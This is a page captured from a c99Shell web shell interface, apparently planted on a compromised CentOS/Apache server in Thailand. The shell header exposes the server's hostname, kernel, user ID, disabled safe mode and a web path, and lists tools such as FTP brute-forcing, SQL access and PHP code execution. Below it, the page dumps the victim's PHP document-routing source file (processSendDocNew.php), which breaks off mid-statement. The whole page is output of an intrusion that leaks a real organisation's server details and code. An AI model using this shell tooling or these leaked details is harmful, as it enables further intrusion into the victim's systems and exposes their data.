!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/admin/   drwxr-xr-x
Free 52.34 GB of 127.8 GB (40.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processSendDocNew.php (34.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
SearchMaxDocGroup(); if($method=="AddSendNew"){ $flagCommit = true; $checkflagCommit= true; $oC->BeginTrans(); $DocIDParent=GetParentDoc($DocID); //echo "DocID=".$DocID."
"; //echo "DocIDParent=".$DocIDParent."
"; $oDoc2->SearchByKey($DocID); $oDoc2->GetRecord(); $oRs4->SearchByKey($DrsID); $oRs4->GetRecord(); $timesend=getNowDateTh()." ".date('H:i:s'); $checkupdate=0; $checkupdate2=0; //-----------------send to Dept---------------------------------- $oDPt->SearchByKey($deptId); $oDPt->GetRecord(); if($checkAll=="1"){ //send All deptId //---send to deptParentId=0------------------------ if($oDPt->deptParentId==0){ $oDPt2->RSmenuByDeptParent2($oDPt->deptParentId); while($oDPt2->GetRecord()){ if($deptPs[$oDPt2->deptId]!=""){ //echo "send to deptParentId=0 =".$oDPt2->deptName." pssend=".$deptPs[$oDPt2->deptId]."
"; //--------------add documents $oDoc->AddNew(); $oDoc->DocID=$oDoc->GetNextCode(); //echo "DocID=".$oDoc->DocID."
"; $oDoc->DocPID=$DocIDParent; //echo "DocPID=".$oDoc->DocPID."
"; $oDoc->DlcID=$deptPs[$oDPt2->deptId]; //echo "DlcID=".$oDoc->DlcID."
"; $oDoc->PtID=$oDoc2->PtID; //echo "PtID=".$oDoc->PtID."
"; $oDoc->DtID=$oDoc2->DtID; $oDoc->DslID=$oDoc2->DslID; $oDoc->DclID=$oDoc2->DclID; $oDoc->DsID="0"; $oDoc->RsID="3"; //sendin $oDoc->DocDateCreate=$timesend; $DocDateCreate=$oDoc->DocDateCreate; $oDoc->DocUserCreate=$deptPssend[$oDPt2->deptId]; //echo "DocUserCreate=".$oDoc->DocUserCreate."
"; //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); $oDoc->DocTypeNo=$oDoc->DocTypeNo; //echo "DocTypeNo=".$DocTypeNo."
"; $oDoc->DocDate=$oDoc2->DocDate; $oDoc->DocNo=$oDoc2->DocNo; $oDoc->DocSubject=$oDoc2->DocSubject; $oDoc->DocFrom=$oDoc2->DocFrom; $oDoc->DocTo=$oDoc2->DocTo; $oDoc->DocShortDesc=$oDoc2->DocShortDesc; $oDoc->DocSpeedLevelDueDate=$oDoc2->DocSpeedLevelDueDate; //echo "speedDate=".$oDoc->DocSpeedLevelDueDate."
"; $oDoc->DocStart=$oDoc2->DocStart; $oDoc->DocFinish=$oDoc2->DocFinish; $oDoc->DocGroup=$oDoc2->DocGroup; $oDoc->DocRef=$oDoc2->DocRef; $oDoc->DocCircular=$oDoc2->DocCircular; $oDoc->DocfCir=$oDoc2->DocfCir; $oDoc->DocOther=$oDoc2->DocOther; $oDoc->CertificatePs=$oDoc2->CertificatePs; $oDoc->fDelete=$oDoc2->fDelete; $oDoc->endDoc=$oDoc->endDoc; $oDoc->sendToPs=$oDoc2->sendToPs; $oDoc->AnID=$oDoc2->AnID; $oDoc->DocRefAns=$oDoc2->DocRefAns; $oDoc->DocRefAnsID=$oDoc2->DocRefAnsID; $oDoc->DocstartDatePost=$oDoc2->DocstartDatePost; $oDoc->DocendDatePost=$oDoc2->DocendDatePost; $oDoc->DocMainPost=$oDoc->DocMainPost; $oDoc->DocGetPost=$oDoc->DocGetPost; $oDoc->DocShowInOut=$oDoc2->DocShowInOut; $oDoc->DocDateGetPost=$oDoc->DocDateGetPost; $oDoc->useMainDocNo=$oDoc2->useMainDocNo; $oDoc->DocforSign=$oDoc2->DocforSign; $checkflagCommit = $oDoc->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } //echo "end
"; $checkupdate++; $oRs2->AddNew(); $oRs2->DrsID=$oRs2->GetNextCode(); //echo "DrsID=".$oRs2->DrsID."
"; $oRs2->DocID=$oDoc->DocID; //echo "DocID=".$oRs2->DocID."
"; $oRs2->DlcID=$deptPs[$oDPt2->deptId]; //echo "DlcID=".$oRs2->DlcID."
"; $oRs2->DsID="0"; $oRs2->PtID=$oDoc->PtID; //echo "PtID=".$oRs2->PtID."
"; $oRs2->DrsReceiveDate=$oRs4->DrsSendDate; //echo "DrsReceiveDate=".$oRs2->DrsReceiveDate."
"; $oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); $oRs2->DrsReceivePersonId=''; //echo "DrsReceivePersonId=".$oRs2->DrsReceivePersonId."
"; $oRs2->DrsDocDueDate=$oDoc->DocSpeedLevelDueDate; //echo "DrsDocDueDate=".$oRs2->DrsDocDueDate."
"; $oRs2->DrsDlcIDCreate=$DlcIDlogin; //echo "DrsDlcIDCreate=".$oRs2->DrsDlcIDCreate."
"; $oRs2->DrsPsIDCreate=$personId; //echo "DrsPsIDCreate=".$oRs2->DrsPsIDCreate."
"; $oRs2->DrsPropose=$oRs4->DrsSign; //echo "DrsPropose=".$oRs2->DrsPropose."
"; $oRs2->DrsSign=$oRs2->DrsSign; //echo "DrsSign=".$oRs2->DrsSign."
"; $oRs2->DrsFromDrsID=$oRs4->DrsID; //echo "DrsFromDrsID=".$oRs2->DrsFromDrsID."
"; $oRs2->DocGroup=$oRs4->DocGroup; //echo "DocGroup=".$oRs2->DocGroup."
"; $oRs2->AnID=$oRs4->AnID; //echo "AnID=".$oRs2->AnID."
"; $oRs2->DrsSendDocNew=$timesend; //echo "DrsSendDocNew=".$oRs2->DrsSendDocNew."
"; $oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost; $oRs2->DrsendDatePost=$oRs4->DrsendDatePost; $checkflagCommit = $oRs2->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } } } //-----send to child deptId $oDPt4->RSmenuByDeptParent2($oDPt->deptId); while($oDPt4->GetRecord()){ if($deptPs[$oDPt4->deptId]!=""){ //echo "send to child deptId =".$oDPt4->deptName." pssend=".$deptPs[$oDPt4->deptId]."
"; //--------------add documents $oDoc->AddNew(); $oDoc->DocID=$oDoc->GetNextCode(); //echo "DocID=".$oDoc->DocID."
"; $oDoc->DocPID=$DocIDParent; //echo "DocPID=".$oDoc->DocPID."
"; $oDoc->DlcID=$deptPs[$oDPt4->deptId]; //echo "DlcID=".$oDoc->DlcID."
"; $oDoc->PtID=$oDoc2->PtID; //echo "PtID=".$oDoc->PtID."
"; $oDoc->DtID=$oDoc2->DtID; $oDoc->DslID=$oDoc2->DslID; $oDoc->DclID=$oDoc2->DclID; $oDoc->DsID="0"; $oDoc->RsID="3"; //sendin $oDoc->DocDateCreate=$timesend; $DocDateCreate=$oDoc->DocDateCreate; $oDoc->DocUserCreate=$deptPssend[$oDPt4->deptId]; //echo "DocUserCreate=".$oDoc->DocUserCreate."
"; //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); $oDoc->DocTypeNo=$oDoc->DocTypeNo; //echo "DocTypeNo=".$DocTypeNo."
"; $oDoc->DocDate=$oDoc2->DocDate; $oDoc->DocNo=$oDoc2->DocNo; $oDoc->DocSubject=$oDoc2->DocSubject; $oDoc->DocFrom=$oDoc2->DocFrom; $oDoc->DocTo=$oDoc2->DocTo; $oDoc->DocShortDesc=$oDoc2->DocShortDesc; $oDoc->DocSpeedLevelDueDate=$oDoc2->DocSpeedLevelDueDate; //echo "speedDate=".$oDoc->DocSpeedLevelDueDate."
"; $oDoc->DocStart=$oDoc2->DocStart; $oDoc->DocFinish=$oDoc2->DocFinish; $oDoc->DocGroup=$oDoc2->DocGroup; $oDoc->DocRef=$oDoc2->DocRef; $oDoc->DocCircular=$oDoc2->DocCircular; $oDoc->DocfCir=$oDoc2->DocfCir; $oDoc->DocOther=$oDoc2->DocOther; $oDoc->CertificatePs=$oDoc2->CertificatePs; $oDoc->fDelete=$oDoc2->fDelete; $oDoc->sendToPs=$oDoc2->sendToPs; $oDoc->AnID=$oDoc2->AnID; $oDoc->DocRefAns=$oDoc2->DocRefAns; $oDoc->DocRefAnsID=$oDoc2->DocRefAnsID; $oDoc->DocstartDatePost=$oDoc2->DocstartDatePost; $oDoc->DocendDatePost=$oDoc2->DocendDatePost; $oDoc->DocShowInOut=$oDoc2->DocShowInOut; $oDoc->useMainDocNo=$oDoc2->useMainDocNo; $oDoc->DocforSign=$oDoc2->DocforSign; $checkflagCommit = $oDoc->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } //echo "end
"; $checkupdate++; $oRs2->AddNew(); $oRs2->DrsID=$oRs2->GetNextCode(); //echo "DrsID=".$oRs2->DrsID."
"; $oRs2->DocID=$oDoc->DocID; //echo "DocID=".$oRs2->DocID."
"; $oRs2->DlcID=$deptPs[$oDPt4->deptId]; //echo "DlcID=".$oRs2->DlcID."
"; $oRs2->DsID="0"; $oRs2->PtID=$oDoc->PtID; //echo "PtID=".$oRs2->PtID."
"; $oRs2->DrsReceiveDate=$oRs4->DrsSendDate; //echo "DrsReceiveDate=".$oRs2->DrsReceiveDate."
"; $oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); $oRs2->DrsReceivePersonId=''; //echo "DrsReceivePersonId=".$oRs2->DrsReceivePersonId."
"; $oRs2->DrsDocDueDate=$oDoc->DocSpeedLevelDueDate; //echo "DrsDocDueDate=".$oRs2->DrsDocDueDate."
"; $oRs2->DrsDlcIDCreate=$DlcIDlogin; //echo "DrsDlcIDCreate=".$oRs2->DrsDlcIDCreate."
"; $oRs2->DrsPsIDCreate=$personId; //echo "DrsPsIDCreate=".$oRs2->DrsPsIDCreate."
"; $oRs2->DrsPropose=$oRs4->DrsSign; //echo "DrsPropose=".$oRs2->DrsPropose."
"; $oRs2->DrsFromDrsID=$oRs4->DrsID; //echo "DrsFromDrsID=".$oRs2->DrsFromDrsID."
"; $oRs2->DocGroup=$oRs4->DocGroup; //echo "DocGroup=".$oRs2->DocGroup."
"; $oRs2->AnID=$oRs4->AnID; //echo "AnID=".$oRs2->AnID."
"; $oRs2->DrsSendDocNew=$timesend; //echo "DrsSendDocNew=".$oRs2->DrsSendDocNew."
"; $oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost; $oRs2->DrsendDatePost=$oRs4->DrsendDatePost; $checkflagCommit = $oRs2->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } } } }else{ //-----------have deptparent //------send to parent dept---------------------- $oDPt2->SearchByKey($oDPt->deptParentId); $oDPt2->GetRecord(); if($deptPs[$oDPt2->deptId]!=""){ //echo "send to parent dept =".$oDPt2->deptName." pssend=".$deptPs[$oDPt2->deptId]."
"; //--------------add documents $oDoc->AddNew(); $oDoc->DocID=$oDoc->GetNextCode(); //echo "DocID=".$oDoc->DocID."
"; $oDoc->DocPID=$DocIDParent; //echo "DocPID=".$oDoc->DocPID."
"; $oDoc->DlcID=$deptPs[$oDPt2->deptId]; //echo "DlcID=".$oDoc->DlcID."
"; $oDoc->PtID=$oDoc2->PtID; //echo "PtID=".$oDoc->PtID."
"; $oDoc->DtID=$oDoc2->DtID; $oDoc->DslID=$oDoc2->DslID; $oDoc->DclID=$oDoc2->DclID; $oDoc->DsID="0"; $oDoc->RsID="3"; //sendin $oDoc->DocDateCreate=$timesend; $DocDateCreate=$oDoc->DocDateCreate; $oDoc->DocUserCreate=$deptPssend[$oDPt2->deptId]; //echo "DocUserCreate=".$oDoc->DocUserCreate."
"; //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); $oDoc->DocTypeNo=$oDoc->DocTypeNo; //echo "DocTypeNo=".$DocTypeNo."
"; $oDoc->DocDate=$oDoc2->DocDate; $oDoc->DocNo=$oDoc2->DocNo; $oDoc->DocSubject=$oDoc2->DocSubject; $oDoc->DocFrom=$oDoc2->DocFrom; $oDoc->DocTo=$oDoc2->DocTo; $oDoc->DocShortDesc=$oDoc2->DocShortDesc; $oDoc->DocSpeedLevelDueDate=$oDoc2->DocSpeedLevelDueDate; //echo "speedDate=".$oDoc->DocSpeedLevelDueDate."
"; $oDoc->DocStart=$oDoc2->DocStart; $oDoc->DocFinish=$oDoc2->DocFinish; $oDoc->DocGroup=$oDoc2->DocGroup; $oDoc->DocRef=$oDoc2->DocRef; $oDoc->DocCircular=$oDoc2->DocCircular; $oDoc->DocfCir=$oDoc2->DocfCir; $oDoc->DocOther=$oDoc2->DocOther; $oDoc->CertificatePs=$oDoc2->CertificatePs; $oDoc->fDelete=$oDoc2->fDelete; $oDoc->endDoc=$oDoc->endDoc; $oDoc->sendToPs=$oDoc2->sendToPs; $oDoc->AnID=$oDoc2->AnID; $oDoc->DocRefAns=$oDoc2->DocRefAns; $oDoc->DocRefAnsID=$oDoc2->DocRefAnsID; $oDoc->DocstartDatePost=$oDoc2->DocstartDatePost; $oDoc->DocendDatePost=$oDoc2->DocendDatePost; $oDoc->DocShowInOut=$oDoc2->DocShowInOut; $oDoc->DocDateGetPost=$oDoc->DocDateGetPost; $oDoc->useMainDocNo=$oDoc2->useMainDocNo; $oDoc->DocforSign=$oDoc2->DocforSign; $checkflagCommit = $oDoc->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } //echo "end
"; $checkupdate++; $oRs2->AddNew(); $oRs2->DrsID=$oRs2->GetNextCode(); //echo "DrsID=".$oRs2->DrsID."
"; $oRs2->DocID=$oDoc->DocID; //echo "DocID=".$oRs2->DocID."
"; $oRs2->DlcID=$deptPs[$oDPt2->deptId]; //echo "DlcID=".$oRs2->DlcID."
"; $oRs2->DsID="0"; $oRs2->personId=$oRs2->personId; //echo "personId=".$oRs2->personId."
"; $oRs2->PtID=$oDoc->PtID; //echo "PtID=".$oRs2->PtID."
"; $oRs2->DrsReceiveDate=$oRs4->DrsSendDate; //echo "DrsReceiveDate=".$oRs2->DrsReceiveDate."
"; $oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); $oRs2->DrsReceivePersonId=''; //echo "DrsReceivePersonId=".$oRs2->DrsReceivePersonId."
"; $oRs2->DrsDocDueDate=$oDoc->DocSpeedLevelDueDate; //echo "DrsDocDueDate=".$oRs2->DrsDocDueDate."
"; $oRs2->DrsDlcIDCreate=$DlcIDlogin; //echo "DrsDlcIDCreate=".$oRs2->DrsDlcIDCreate."
"; $oRs2->DrsPsIDCreate=$personId; //echo "DrsPsIDCreate=".$oRs2->DrsPsIDCreate."
"; $oRs2->DrsPropose=$oRs4->DrsSign; //echo "DrsPropose=".$oRs2->DrsPropose."
"; $oRs2->DrsSign=$oRs2->DrsSign; //echo "DrsSign=".$oRs2->DrsSign."
"; $oRs2->DrsFromDrsID=$oRs4->DrsID; //echo "DrsFromDrsID=".$oRs2->DrsFromDrsID."
"; $oRs2->DocGroup=$oRs4->DocGroup; //echo "DocGroup=".$oRs2->DocGroup."
"; $oRs2->AnID=$oRs4->AnID; //echo "AnID=".$oRs2->AnID."
"; $oRs2->DrsSendDocNew=$timesend; //echo "DrsSendDocNew=".$oRs2->DrsSendDocNew."
"; $oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost; $oRs2->DrsendDatePost=$oRs4->DrsendDatePost; $checkflagCommit = $oRs2->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } } //------send to balance dept---------------------- $oDPt3->RSmenuByDeptParent2($oDPt2->deptId); while($oDPt3->GetRecord()){ if($deptPs[$oDPt3->deptId]!=""){ //echo "send to balance dept =".$oDPt3->deptName." pssend=".$deptPs[$oDPt3->deptId]."
"; //--------------add documents $oDoc->AddNew(); $oDoc->DocID=$oDoc->GetNextCode(); //echo "DocID=".$oDoc->DocID."
"; $oDoc->DocPID=$DocIDParent; //echo "DocPID=".$oDoc->DocPID."
"; $oDoc->DlcID=$deptPs[$oDPt3->deptId]; //echo "DlcID=".$oDoc->DlcID."
"; $oDoc->PtID=$oDoc2->PtID; //echo "PtID=".$oDoc->PtID."
"; $oDoc->DtID=$oDoc2->DtID; $oDoc->DslID=$oDoc2->DslID; $oDoc->DclID=$oDoc2->DclID; $oDoc->DsID="0"; $oDoc->RsID="3"; //sendin $oDoc->DocDateCreate=$timesend; $DocDateCreate=$oDoc->DocDateCreate; $oDoc->DocUserCreate=$deptPssend[$oDPt3->deptId]; //echo "DocUserCreate=".$oDoc->DocUserCreate."
"; //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); $oDoc->DocTypeNo=$oDoc->DocTypeNo; //echo "DocTypeNo=".$DocTypeNo."
"; $oDoc->DocDate=$oDoc2->DocDate; $oDoc->DocNo=$oDoc2->DocNo; $oDoc->DocSubject=$oDoc2->DocSubject; $oDoc->DocFrom=$oDoc2->DocFrom; $oDoc->DocTo=$oDoc2->DocTo; $oDoc->DocShortDesc=$oDoc2->DocShortDesc; $oDoc->DocSpeedLevelDueDate=$oDoc2->DocSpeedLevelDueDate; //echo "speedDate=".$oDoc->DocSpeedLevelDueDate."
"; $oDoc->DocStart=$oDoc2->DocStart; $oDoc->DocFinish=$oDoc2->DocFinish; $oDoc->DocGroup=$oDoc2->DocGroup; $oDoc->DocRef=$oDoc2->DocRef; $oDoc->DocCircular=$oDoc2->DocCircular; $oDoc->DocfCir=$oDoc2->DocfCir; $oDoc->DocOther=$oDoc2->DocOther; $oDoc->CertificatePs=$oDoc2->CertificatePs; $oDoc->fDelete=$oDoc2->fDelete; $oDoc->endDoc=$oDoc->endDoc; $oDoc->sendToPs=$oDoc2->sendToPs; $oDoc->AnID=$oDoc2->AnID; $oDoc->DocRefAns=$oDoc2->DocRefAns; $oDoc->DocRefAnsID=$oDoc2->DocRefAnsID; $oDoc->DocstartDatePost=$oDoc2->DocstartDatePost; $oDoc->DocendDatePost=$oDoc2->DocendDatePost; $oDoc->DocMainPost=$oDoc->DocMainPost; $oDoc->DocGetPost=$oDoc->DocGetPost; $oDoc->DocShowInOut=$oDoc2->DocShowInOut; $oDoc->DocDateGetPost=$oDoc->DocDateGetPost; $oDoc->useMainDocNo=$oDoc2->useMainDocNo; $oDoc->DocforSign=$oDoc2->DocforSign; $checkflagCommit = $oDoc->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } //echo "end
"; $checkupdate++; $oRs2->AddNew(); $oRs2->DrsID=$oRs2->GetNextCode(); //echo "DrsID=".$oRs2->DrsID."
"; $oRs2->DocID=$oDoc->DocID; //echo "DocID=".$oRs2->DocID."
"; $oRs2->DlcID=$deptPs[$oDPt3->deptId]; //echo "DlcID=".$oRs2->DlcID."
"; $oRs2->DsID="0"; $oRs2->PtID=$oDoc->PtID; //echo "PtID=".$oRs2->PtID."
"; $oRs2->DrsReceiveDate=$oRs4->DrsSendDate; //echo "DrsReceiveDate=".$oRs2->DrsReceiveDate."
"; $oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); $oRs2->DrsReceivePersonId=''; //echo "DrsReceivePersonId=".$oRs2->DrsReceivePersonId."
"; $oRs2->DrsDocDueDate=$oDoc->DocSpeedLevelDueDate; //echo "DrsDocDueDate=".$oRs2->DrsDocDueDate."
"; $oRs2->DrsDlcIDCreate=$DlcIDlogin; //echo "DrsDlcIDCreate=".$oRs2->DrsDlcIDCreate."
"; $oRs2->DrsPsIDCreate=$personId; //echo "DrsPsIDCreate=".$oRs2->DrsPsIDCreate."
"; $oRs2->DrsPropose=$oRs4->DrsSign; //echo "DrsPropose=".$oRs2->DrsPropose."
"; $oRs2->DrsSign=$oRs2->DrsSign; //echo "DrsSign=".$oRs2->DrsSign."
"; $oRs2->DrsFromDrsID=$oRs4->DrsID; //echo "DrsFromDrsID=".$oRs2->DrsFromDrsID."
"; $oRs2->DocGroup=$oRs4->DocGroup; //echo "DocGroup=".$oRs2->DocGroup."
"; $oRs2->AnID=$oRs4->AnID; //echo "AnID=".$oRs2->AnID."
"; $oRs2->DrsSendDocNew=$timesend; //echo "DrsSendDocNew=".$oRs2->DrsSendDocNew."
"; $oRs2->DrsInboxID=$oRs2->DrsInboxID; $oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost; $oRs2->DrsendDatePost=$oRs4->DrsendDatePost; $checkflagCommit = $oRs2->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } } //-----send to child deptId if($oDPt3->deptId==$oDPt->deptId){ $oDPt4->RSmenuByDeptParent2($oDPt3->deptId); while($oDPt4->GetRecord()){ if($deptPs[$oDPt4->deptId]!=""){ //echo "send to child deptId =".$oDPt4->deptName." pssend=".$deptPs[$oDPt4->deptId]."
"; //--------------add documents $oDoc->AddNew(); $oDoc->DocID=$oDoc->GetNextCode(); //echo "DocID=".$oDoc->DocID."
"; $oDoc->DocPID=$DocIDParent; //echo "DocPID=".$oDoc->DocPID."
"; $oDoc->DlcID=$deptPs[$oDPt4->deptId]; //echo "DlcID=".$oDoc->DlcID."
"; $oDoc->PtID=$oDoc2->PtID; //echo "PtID=".$oDoc->PtID."
"; $oDoc->DtID=$oDoc2->DtID; $oDoc->DslID=$oDoc2->DslID; $oDoc->DclID=$oDoc2->DclID; $oDoc->DsID="0"; $oDoc->RsID="3"; //sendin $oDoc->DocDateCreate=$timesend; $DocDateCreate=$oDoc->DocDateCreate; $oDoc->DocUserCreate=$deptPssend[$oDPt4->deptId]; //echo "DocUserCreate=".$oDoc->DocUserCreate."
"; //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); $oDoc->DocTypeNo=$oDoc->DocTypeNo; //echo "DocTypeNo=".$DocTypeNo."
"; $oDoc->DocDate=$oDoc2->DocDate; $oDoc->DocNo=$oDoc2->DocNo; $oDoc->DocSubject=$oDoc2->DocSubject; $oDoc->DocFrom=$oDoc2->DocFrom; $oDoc->DocTo=$oDoc2->DocTo; $oDoc->DocShortDesc=$oDoc2->DocShortDesc; $oDoc->DocSpeedLevelDueDate=$oDoc2->DocSpeedLevelDueDate; //echo "speedDate=".$oDoc->DocSpeedLevelDueDate."
"; $oDoc->DocStart=$oDoc2->DocStart; $oDoc->DocFinish=$oDoc2->DocFinish; $oDoc->DocGroup=$oDoc2->DocGroup; $oDoc->DocRef=$oDoc2->DocRef; $oDoc->DocCircular=$oDoc2->DocCircular; $oDoc->DocfCir=$oDoc2->DocfCir; $oDoc->DocOther=$oDoc2->DocOther; $oDoc->CertificatePs=$oDoc2->CertificatePs; $oDoc->fDelete=$oDoc2->fDelete; $oDoc->endDoc=$oDoc->endDoc; $oDoc->sendToPs=$oDoc2->sendToPs; $oDoc->AnID=$oDoc2->AnID; $oDoc->DocRefAns=$oDoc2->DocRefAns; $oDoc->DocRefAnsID=$oDoc2->DocRefAnsID; $oDoc->DocstartDatePost=$oDoc2->DocstartDatePost; $oDoc->DocendDatePost=$oDoc2->DocendDatePost; $oDoc->DocMainPost=$oDoc->DocMainPost; $oDoc->DocGetPost=$oDoc->DocGetPost; $oDoc->DocShowInOut=$oDoc2->DocShowInOut; $oDoc->DocDateGetPost=$oDoc->DocDateGetPost; $oDoc->useMainDocNo=$oDoc2->useMainDocNo; $oDoc->DocforSign=$oDoc2->DocforSign; $checkflagCommit = $oDoc->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } //echo "end
"; $checkupdate++; $oRs2->AddNew(); $oRs2->DrsID=$oRs2->GetNextCode(); //echo "DrsID=".$oRs2->DrsID."
"; $oRs2->DocID=$oDoc->DocID; //echo "DocID=".$oRs2->DocID."
"; $oRs2->DlcID=$deptPs[$oDPt4->deptId]; //echo "DlcID=".$oRs2->DlcID."
"; $oRs2->DsID="0"; $oRs2->personId=$oRs2->personId; //echo "personId=".$oRs2->personId."
"; $oRs2->PtID=$oDoc->PtID; //echo "PtID=".$oRs2->PtID."
"; $oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo; $oRs2->DrsReceiveDate=$oRs4->DrsSendDate; //echo "DrsReceiveDate=".$oRs2->DrsReceiveDate."
"; $oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); $oRs2->DrsReceivePersonId=''; //echo "DrsReceivePersonId=".$oRs2->DrsReceivePersonId."
"; $oRs2->DrsDocDueDate=$oDoc->DocSpeedLevelDueDate; //echo "DrsDocDueDate=".$oRs2->DrsDocDueDate."
"; $oRs2->DrsDlcIDCreate=$DlcIDlogin; //echo "DrsDlcIDCreate=".$oRs2->DrsDlcIDCreate."
"; $oRs2->DrsPsIDCreate=$personId; //echo "DrsPsIDCreate=".$oRs2->DrsPsIDCreate."
"; $oRs2->DrsPropose=$oRs4->DrsSign; //echo "DrsPropose=".$oRs2->DrsPropose."
"; $oRs2->DrsFromDrsID=$oRs4->DrsID; //echo "DrsFromDrsID=".$oRs2->DrsFromDrsID."
"; $oRs2->DocGroup=$oRs4->DocGroup; //echo "DocGroup=".$oRs2->DocGroup."
"; $oRs2->AnID=$oRs4->AnID; //echo "AnID=".$oRs2->AnID."
"; $oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate; $oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate; $oRs2->DrsSendDocNew=$timesend; //echo "DrsSendDocNew=".$oRs2->DrsSendDocNew."
"; $oRs2->DrsInboxID=$oRs2->DrsInboxID; $oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost; $oRs2->DrsendDatePost=$oRs4->DrsendDatePost; $checkflagCommit = $oRs2->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } } } } } } }else{ //---case main dept $oDPt2->RSDeptByMaxdeptDate2(); while($oDPt2->GetRecord()){ if($deptPs[$oDPt2->deptId]!=""){ $oDoc->AddNew(); $oDoc->DocID=$oDoc->GetNextCode(); //echo "DocID=".$oDoc->DocID."
"; $oDoc->DocPID=$DocIDParent; //echo "DocPID=".$oDoc->DocPID."
"; $oDoc->DlcID=$deptPs[$oDPt2->deptId]; //echo "DlcID=".$oDoc->DlcID."
"; $oDoc->PtID=$oDoc2->PtID; //echo "PtID=".$oDoc->PtID."
"; $oDoc->DtID=$oDoc2->DtID; $oDoc->DslID=$oDoc2->DslID; $oDoc->DclID=$oDoc2->DclID; $oDoc->DsID="0"; $oDoc->RsID="3"; //sendin $oDoc->DocDateCreate=$timesend; $DocDateCreate=$oDoc->DocDateCreate; $oDoc->DocUserCreate=$deptPssend[$oDPt2->deptId]; //echo "DocUserCreate=".$oDoc->DocUserCreate."
"; //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); $oDoc->DocTypeNo=$oDoc->DocTypeNo; //echo "DocTypeNo=".$DocTypeNo."
"; $oDoc->DocDate=$oDoc2->DocDate; $oDoc->DocNo=$oDoc2->DocNo; $oDoc->DocSubject=$oDoc2->DocSubject; $oDoc->DocFrom=$oDoc2->DocFrom; $oDoc->DocTo=$oDoc2->DocTo; $oDoc->DocShortDesc=$oDoc2->DocShortDesc; $oDoc->DocSpeedLevelDueDate=$oDoc2->DocSpeedLevelDueDate; //echo "speedDate=".$oDoc->DocSpeedLevelDueDate."
"; $oDoc->DocStart=$oDoc2->DocStart; $oDoc->DocFinish=$oDoc2->DocFinish; $oDoc->DocGroup=$oDoc2->DocGroup; $oDoc->DocRef=$oDoc2->DocRef; $oDoc->DocCircular=$oDoc2->DocCircular; $oDoc->DocfCir=$oDoc2->DocfCir; $oDoc->DocOther=$oDoc2->DocOther; $oDoc->CertificatePs=$oDoc2->CertificatePs; $oDoc->fDelete=$oDoc2->fDelete; $oDoc->endDoc=$oDoc->endDoc; $oDoc->sendToPs=$oDoc2->sendToPs; $oDoc->AnID=$oDoc2->AnID; $oDoc->DocRefAns=$oDoc2->DocRefAns; $oDoc->DocRefAnsID=$oDoc2->DocRefAnsID; $oDoc->DocstartDatePost=$oDoc2->DocstartDatePost; $oDoc->DocendDatePost=$oDoc2->DocendDatePost; $oDoc->DocMainPost=$oDoc->DocMainPost; $oDoc->DocGetPost=$oDoc->DocGetPost; $oDoc->DocShowInOut=$oDoc2->DocShowInOut; $oDoc->DocDateGetPost=$oDoc->DocDateGetPost; $oDoc->useMainDocNo=$oDoc2->useMainDocNo; $oDoc->DocforSign=$oDoc2->DocforSign; $checkflagCommit = $oDoc->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } //echo "end
"; $checkupdate++; $oRs2->AddNew(); $oRs2->DrsID=$oRs2->GetNextCode(); //echo "DrsID=".$oRs2->DrsID."
"; $oRs2->DocID=$oDoc->DocID; //echo "DocID=".$oRs2->DocID."
"; $oRs2->DlcID=$deptPs[$oDPt2->deptId]; //echo "DlcID=".$oRs2->DlcID."
"; $oRs2->DsID="0"; $oRs2->personId=$oRs2->personId; //echo "personId=".$oRs2->personId."
"; $oRs2->PtID=$oDoc->PtID; //echo "PtID=".$oRs2->PtID."
"; $oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo; $oRs2->DrsReceiveDate=$oRs4->DrsSendDate; //echo "DrsReceiveDate=".$oRs2->DrsReceiveDate."
"; $oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); $oRs2->DrsReceivePersonId=''; //echo "DrsReceivePersonId=".$oRs2->DrsReceivePersonId."
